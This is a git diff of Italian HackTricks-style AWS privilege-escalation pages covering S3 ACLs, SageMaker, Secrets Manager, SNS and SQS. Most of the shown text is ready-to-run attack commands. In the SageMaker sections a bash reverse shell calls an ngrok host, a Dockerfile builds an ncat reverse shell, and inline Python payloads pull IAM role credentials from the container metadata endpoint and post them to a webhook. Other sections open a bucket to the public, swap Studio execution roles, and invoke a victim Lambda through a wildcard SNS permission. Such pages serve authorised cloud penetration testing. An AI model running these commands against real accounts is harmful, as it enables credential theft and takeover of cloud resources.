+"AWS":"arn:aws:iam::123123123123:user/username"
+},
+"Action":"s3:*",
+"Resource":"arn:aws:s3:::somebucketname/*"
+}
+]
+}
+
+## JSON Public policy example
+### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
+{
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
+}
+```
+### `s3:GetBucketAcl`, `s3:PutBucketAcl`
+
+Un attacker potrebbe abusare di questi permessi per **concedersi maggior accesso** su specifici bucket.\
+Nota che l'attacker non deve necessariamente essere dello stesso account. Inoltre l'accesso in scrittura
+```bash
+# Update bucket ACL
+aws s3api get-bucket-acl --bucket <bucket-name>
+aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectAcl`
+
+Un attacker potrebbe abusare di questi permessi per concedersi maggiore accesso su oggetti specifici all'interno dei bucket.
+```bash
+# Update bucket object ACL
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
+
+##JSON ACL example
+## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
+{
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
+}
+## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
+```
+### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
+
+Un attaccante con questi privilegi dovrebbe essere in grado di assegnare un Acl a una versione specifica di un oggetto
+```bash
+aws s3api get-object-acl --bucket <bucekt-name> --key flag
+aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
deleted file mode 100644
index f5a8316e3..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# AWS - Sagemaker Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS - Sagemaker Privesc
-
-
-
-### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Inizia a creare un notebook con il ruolo IAM ad esso associato:
-```bash
-aws sagemaker create-notebook-instance --notebook-instance-name example \
---instance-type ml.t2.medium \
---role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
-```
-La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN della nuova istanza di notebook creata. Possiamo quindi utilizzare l'API `create-presigned-notebook-instance-url` per generare un URL che possiamo utilizzare per accedere all'istanza di notebook una volta che è pronta:
-```bash
-aws sagemaker create-presigned-notebook-instance-url \
---notebook-instance-name <name>
-```
-Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
-
-Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
-
-**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
-
-### `sagemaker:CreatePresignedNotebookInstanceUrl`
-
-Se ci sono **notebook Jupyter già in esecuzione** su di esso e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo). Puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**.
-```bash
-aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
-```
-**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker attaccato.
-
-### `sagemaker:CreateProcessingJob,iam:PassRole`
-
-Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker attaccato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM attaccato**.
-```bash
-# I uploaded a python docker image to the ECR
-aws sagemaker create-processing-job \
---processing-job-name privescjob \
---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
---app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
---role-arn <sagemaker-arn-role>
-
-# In my tests it took 10min to receive the shell
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
-```
-**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
-
-### `sagemaker:CreateTrainingJob`, `iam:PassRole`
-
-Un attaccante con questi permessi sarà in grado di creare un lavoro di addestramento, **eseguendo un container arbitrario** su di esso con un **ruolo allegato**. Pertanto, l'attaccante sarà in grado di rubare le credenziali del ruolo.
-
-> [!WARNING]
-> Questo scenario è più difficile da sfruttare rispetto al precedente perché è necessario generare un'immagine Docker che invierà la rev shell o le credenziali direttamente all'attaccante (non è possibile indicare un comando di avvio nella configurazione del lavoro di addestramento).
->
-> ```bash
-> # Crea immagine docker
-> mkdir /tmp/rev
-> ## Nota che il lavoro di addestramento chiamerà un eseguibile chiamato "train"
-> ## Ecco perché sto mettendo la rev shell in /bin/train
-> ## Imposta i valori di <YOUR-IP-OR-DOMAIN> e <YOUR-PORT>
-> cat > /tmp/rev/Dockerfile <<EOF
-> FROM ubuntu
-> RUN apt update && apt install -y ncat curl
-> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
-> RUN chmod +x /bin/train
-> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
-> EOF
->
-> cd /tmp/rev
-> sudo docker build . -t reverseshell
->
-> # Caricalo su ECR
-> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
-> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
-> ```
-```bash
-# Create trainning job with the docker image created
-aws sagemaker create-training-job \
---training-job-name privescjob \
---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
---algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
---role-arn <role-arn> \
---output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
---stopping-condition '{"MaxRuntimeInSeconds": 600}'
-
-#To get the creds
-curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
-## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
-```
-**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
-
-### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
-
-Un attaccante con questi permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\
-_Non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
-
-## Riferimenti
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
new file mode 100644
index 000000000..3b48223b5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -0,0 +1,260 @@
+# AWS - Sagemaker Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS - Sagemaker Privesc
+
+### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Inizia a creare un notebook con l'IAM Role da assegnare ad esso:
+```bash
+aws sagemaker create-notebook-instance --notebook-instance-name example \
+--instance-type ml.t2.medium \
+--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
+```
+La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN dell'istanza notebook appena creata. Possiamo quindi usare l'API `create-presigned-notebook-instance-url` per generare un URL che possiamo usare per accedere all'istanza notebook una volta che è pronta:
+```bash
+aws sagemaker create-presigned-notebook-instance-url \
+--notebook-instance-name <name>
+```
+Apri l'URL nel browser e clicca su `Open JupyterLab`` in alto a destra, poi scorri fino alla scheda “Launcher” e, nella sezione “Other”, clicca sul pulsante “Terminal”.
+
+Ora è possibile accedere alle credenziali metadata del ruolo IAM.
+
+**Impatto potenziale:** Privesc to the sagemaker service role specified.
+
+### `sagemaker:CreatePresignedNotebookInstanceUrl`
+
+Se su di esso sono già in esecuzione dei Jupyter **notebooks già in esecuzione** e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo), puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**.
+```bash
+aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
+```
+**Impatto potenziale:** Privesc to the sagemaker service role attached.
+
+### `sagemaker:CreateProcessingJob`, `iam:PassRole`
+
+Un attacker con quei permessi può far sì che **SageMaker esegua un processing job** con un ruolo SageMaker allegato. Riutilizzando uno degli AWS Deep Learning Containers che già include Python (e eseguendo il job nella stessa regione dell'URI), puoi lanciare codice inline senza costruire immagini proprie:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-arn-role>
+IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
+ENV='{"W":"https://example.com/webhook"}'
+
+aws sagemaker create-processing-job \
+--processing-job-name privescjob \
+--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
+--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--environment "$ENV" \
+--role-arn $ROLE_ARN
+
+# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
+```
+**Impatto potenziale:** Privesc al ruolo di servizio sagemaker specificato.
+
+### `sagemaker:CreateTrainingJob`, `iam:PassRole`
+
+Un attaccante con quelle autorizzazioni può lanciare un training job che esegue codice arbitrario con il ruolo indicato. Usando un container ufficiale di SageMaker e sovrascrivendo l'entrypoint con un payload inline, non è necessario costruire immagini proprie:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+ENV='{"W":"https://example.com/webhook"}'
+OUTPUT_S3=s3://<existing-bucket>/training-output/
+# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
+
+aws sagemaker create-training-job \
+--training-job-name privesc-train \
+--role-arn $ROLE_ARN \
+--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
+--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
+--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
+--stopping-condition '{"MaxRuntimeInSeconds":600}' \
+--environment "$ENV"
+
+# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
+```
+**Impatto potenziale:** Privesc al ruolo di servizio SageMaker specificato.
+
+### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
+
+Un attaccante con queste autorizzazioni può avviare un HyperParameter Tuning Job che esegue codice controllato dall'attaccante sotto il ruolo fornito. La modalità Script richiede di ospitare il payload in S3, ma tutti i passaggi possono essere automatizzati dalla CLI:
+```bash
+REGION=<region>
+ROLE_ARN=<sagemaker-role-to-abuse>
+BUCKET=sm-hpo-privesc-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+
+# Allow public reads so any SageMaker role can pull the code
+aws s3api put-public-access-block \
+--bucket $BUCKET \
+--public-access-block-configuration '{
+"BlockPublicAcls": false,
+"IgnorePublicAcls": false,
+"BlockPublicPolicy": false,
+"RestrictPublicBuckets": false
+}'
+
+aws s3api put-bucket-policy --bucket $BUCKET --policy "{
+\"Version\": \"2012-10-17\",
+\"Statement\": [
+{
+\"Effect\": \"Allow\",
+\"Principal\": \"*\",
+\"Action\": \"s3:GetObject\",
+\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
+}
+]
+}"
+
+cat <<'EOF' > /tmp/train.py
+import os, time, urllib.request
+
+def main():
+meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
+if not meta:
+return
+creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
+req = urllib.request.Request(
+"https://example.com/webhook",
+data=creds,
+headers={"Content-Type": "application/json"}
+)
+urllib.request.urlopen(req)
+print("train:loss=0")
+time.sleep(300)
+
+if __name__ == "__main__":
+main()
+EOF
+
+cd /tmp
+tar -czf code.tar.gz train.py
+aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
+
+echo "dummy" > /tmp/input.txt
+aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
+
+IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
+CODE_S3=s3://$BUCKET/code/train-code.tar.gz
+TRAIN_INPUT_S3=s3://$BUCKET/input
+OUTPUT_S3=s3://$BUCKET/output
+# El rol necesita permisos ECR y escritura en el bucket.
+
+cat > /tmp/hpo-definition.json <<EOF
+{
+"AlgorithmSpecification": {
+"TrainingImage": "$IMAGE",
+"TrainingInputMode": "File",
+"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
+},
+"StaticHyperParameters": {
+"sagemaker_program": "train.py",
+"sagemaker_submit_directory": "$CODE_S3"
+},
+"RoleArn": "$ROLE_ARN",
+"InputDataConfig": [
+{
+"ChannelName": "training",
+"DataSource": {
+"S3DataSource": {
+"S3DataType": "S3Prefix",
+"S3Uri": "$TRAIN_INPUT_S3",
+"S3DataDistributionType": "FullyReplicated"
+}
+}
+}
+],
+"OutputDataConfig": {
+"S3OutputPath": "$OUTPUT_S3"
+},
+"ResourceConfig": {
+"InstanceType": "ml.m5.large",
+"InstanceCount": 1,
+"VolumeSizeInGB": 50
+},
+"StoppingCondition": {
+"MaxRuntimeInSeconds": 600
+}
+}
+EOF
+
+aws sagemaker create-hyper-parameter-tuning-job \
+--hyper-parameter-tuning-job-name privesc-hpo \
+--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
+--training-job-definition file:///tmp/hpo-definition.json
+```
+Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
+
+
+### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
+
+Prioridad de ExecutionRole:
+
+- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
+- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
+- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
+
+Con i permessi per aggiornare un SageMaker Studio User Profile (o Space/Domain), un attacker può impostare l'`ExecutionRole` su qualsiasi IAM role che il SageMaker service principal può assumere. A differenza delle API di creazione job, le API di aggiornamento del profilo Studio non richiedono `iam:PassRole`. Le nuove Studio apps lanciate per quel profilo verranno eseguite con il ruolo scambiato, fornendo permessi elevati interattivi tramite i terminali Jupyter o i job lanciati da Studio.
+
+Passaggi:
+```bash
+# 1) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
+
+# 2) Update the Studio profile to use the new role (no iam:PassRole)
+aws sagemaker update-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-user-profile \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query 'UserSettings.ExecutionRole' --output text
+
+# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
+aws sagemaker update-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--space-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-space \
+--domain-id <DOMAIN_ID> \
+--space-name <SPACE> \
+--query 'SpaceSettings.ExecutionRole' --output text
+
+# 4) Optionally, change the domain default so every profile inherits the new role
+aws sagemaker update-domain \
+--domain-id <DOMAIN_ID> \
+--default-user-settings ExecutionRole=$ROLE_ARN
+
+aws sagemaker describe-domain \
+--domain-id <DOMAIN_ID> \
+--query 'DefaultUserSettings.ExecutionRole' --output text
+
+# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name js-atk
+
+# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
+#    aws sts get-caller-identity  # should reflect the new ExecutionRole
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+```
+**Potenziale Impatto**: Escalation dei privilegi ai permessi del SageMaker execution role specificato per le sessioni interattive di Studio.
+
+
+## Riferimenti
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
index 34f610531..62be6b28d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md
@@ -1,13 +1,13 @@
 # AWS - Secrets Manager Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Secrets Manager
 
 Per maggiori informazioni su Secrets Manager consulta:
 
 {{#ref}}
-../aws-services/aws-secrets-manager-enum.md
+../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
 ### `secretsmanager:GetSecretValue`
@@ -16,14 +16,14 @@ Un attacker con questo permesso può ottenere il **valore salvato all'interno di
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
-**Possibile impatto:** Accesso a dati altamente sensibili all'interno del servizio AWS Secrets Manager.
+**Impatto potenziale:** Accesso a dati altamente sensibili all'interno del AWS secrets manager service.
 
 > [!WARNING]
-> Nota che anche con il permesso `secretsmanager:BatchGetSecretValue` un attaccante avrebbe comunque bisogno di `secretsmanager:GetSecretValue` per recuperare i segreti sensibili.
+> Nota che anche con il permesso `secretsmanager:BatchGetSecretValue` un attacker avrebbe inoltre bisogno di `secretsmanager:GetSecretValue` per recuperare i segreti sensibili.
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Con le autorizzazioni precedenti è possibile **concedere l'accesso ad altri principals/account (anche esterni)** per accedere al **segreto**. Nota che, per **leggere i segreti cifrati** con una KMS key, l'utente deve anche avere **accesso alla KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
+Con i permessi precedenti è possibile **concedere accesso ad altri principals/accounts (anche esterni)** per accedere al **segreto**. Nota che, per **leggere i segreti criptati** con una chiave KMS, l'utente ha anche bisogno di **accesso sulla chiave KMS** (maggiori informazioni nella [KMS Enum page](../../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
@@ -45,4 +45,4 @@ policy.json:
 ]
 }
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
deleted file mode 100644
index 77105963c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SNS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### `sns:Publish`
-
-Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, potenzialmente causando corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
-
-### `sns:Subscribe`
-
-Un attaccante potrebbe iscriversi a un argomento SNS, guadagnando potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sull'argomento.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato ai messaggi (informazioni sensibili), interruzione del servizio per le applicazioni che dipendono dall'argomento interessato.
-
-### `sns:AddPermission`
-
-Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un argomento SNS, potenzialmente ottenendo ulteriori permessi.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato all'argomento, esposizione dei messaggi o manipolazione dell'argomento da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che dipendono dall'argomento.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
new file mode 100644
index 000000000..7a838fb61
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md
@@ -0,0 +1,81 @@
+# AWS - SNS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### `sns:Publish`
+
+Un attacker potrebbe inviare messaggi dannosi o indesiderati al SNS topic, causando potenzialmente corruzione dei dati, innescando azioni non intenzionali o esaurendo le risorse.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Impatto potenziale**: Sfruttamento della vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
+
+### `sns:Subscribe`
+
+Un attaccante potrebbe iscriversi a un SNS topic, ottenendo potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sul topic.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+```
+**Impatto potenziale**: Accesso non autorizzato ai messaggi (informazioni sensibili), interruzione del servizio per le applicazioni che si basano sul topic interessato.
+
+### `sns:AddPermission`
+
+Un attaccante potrebbe concedere a utenti o servizi non autorizzati l'accesso a un SNS topic, ottenendo potenzialmente permessi aggiuntivi.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+```
+**Impatto potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.
+
+
+### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)
+
+Se una resource-based policy di una funzione Lambda permette a `sns.amazonaws.com` di invocarla senza limitare il topic sorgente (`SourceArn`), qualsiasi SNS topic (anche in un altro account) può sottoscriversi e attivare la funzione. Un attacker con permessi SNS di base può costringere la Lambda a eseguire con il suo ruolo IAM con input controllato dall'attacker.
+
+> [!TIP]
+> TODO: È veramente possibile farlo cross-account?
+
+Prerequisiti
+- La policy della Lambda vittima contiene una dichiarazione come la seguente, SENZA condizione `SourceArn`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {"Service": "sns.amazonaws.com"},
+"Action": "lambda:InvokeFunction"
+// No Condition/SourceArn restriction here
+}
+]
+}
+```
+Passaggi di abuso (stesso account o cross-account)
+```bash
+# 1) Create a topic you control
+ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
+
+# 2) Subscribe the victim Lambda to your topic
+aws sns subscribe \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--protocol lambda \
+--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
+
+# 3) Publish an attacker-controlled message to trigger the Lambda
+aws sns publish \
+--region us-east-1 \
+--topic-arn "$ATTACKER_TOPIC_ARN" \
+--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
+```
+**Potential Impact**: La Lambda vittima viene eseguita con il suo IAM role, elaborando input controllato dall'attaccante. Questo può essere sfruttato per far sì che la funzione esegua azioni sensibili (ad esempio, scrivere su S3, accedere a segreti, modificare risorse) a seconda dei suoi permessi.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
deleted file mode 100644
index 7ee1ef86c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - SQS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:AddPermission`
-
-Un attaccante potrebbe utilizzare questo permesso per concedere accesso non autorizzato a utenti o servizi a una coda SQS creando nuove politiche o modificando politiche esistenti. Questo potrebbe comportare accesso non autorizzato ai messaggi nella coda o manipolazione della coda da parte di entità non autorizzate.
-```bash
-cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato alla coda, esposizione dei messaggi o manipolazione della coda da parte di utenti o servizi non autorizzati.
-
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
-
-Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
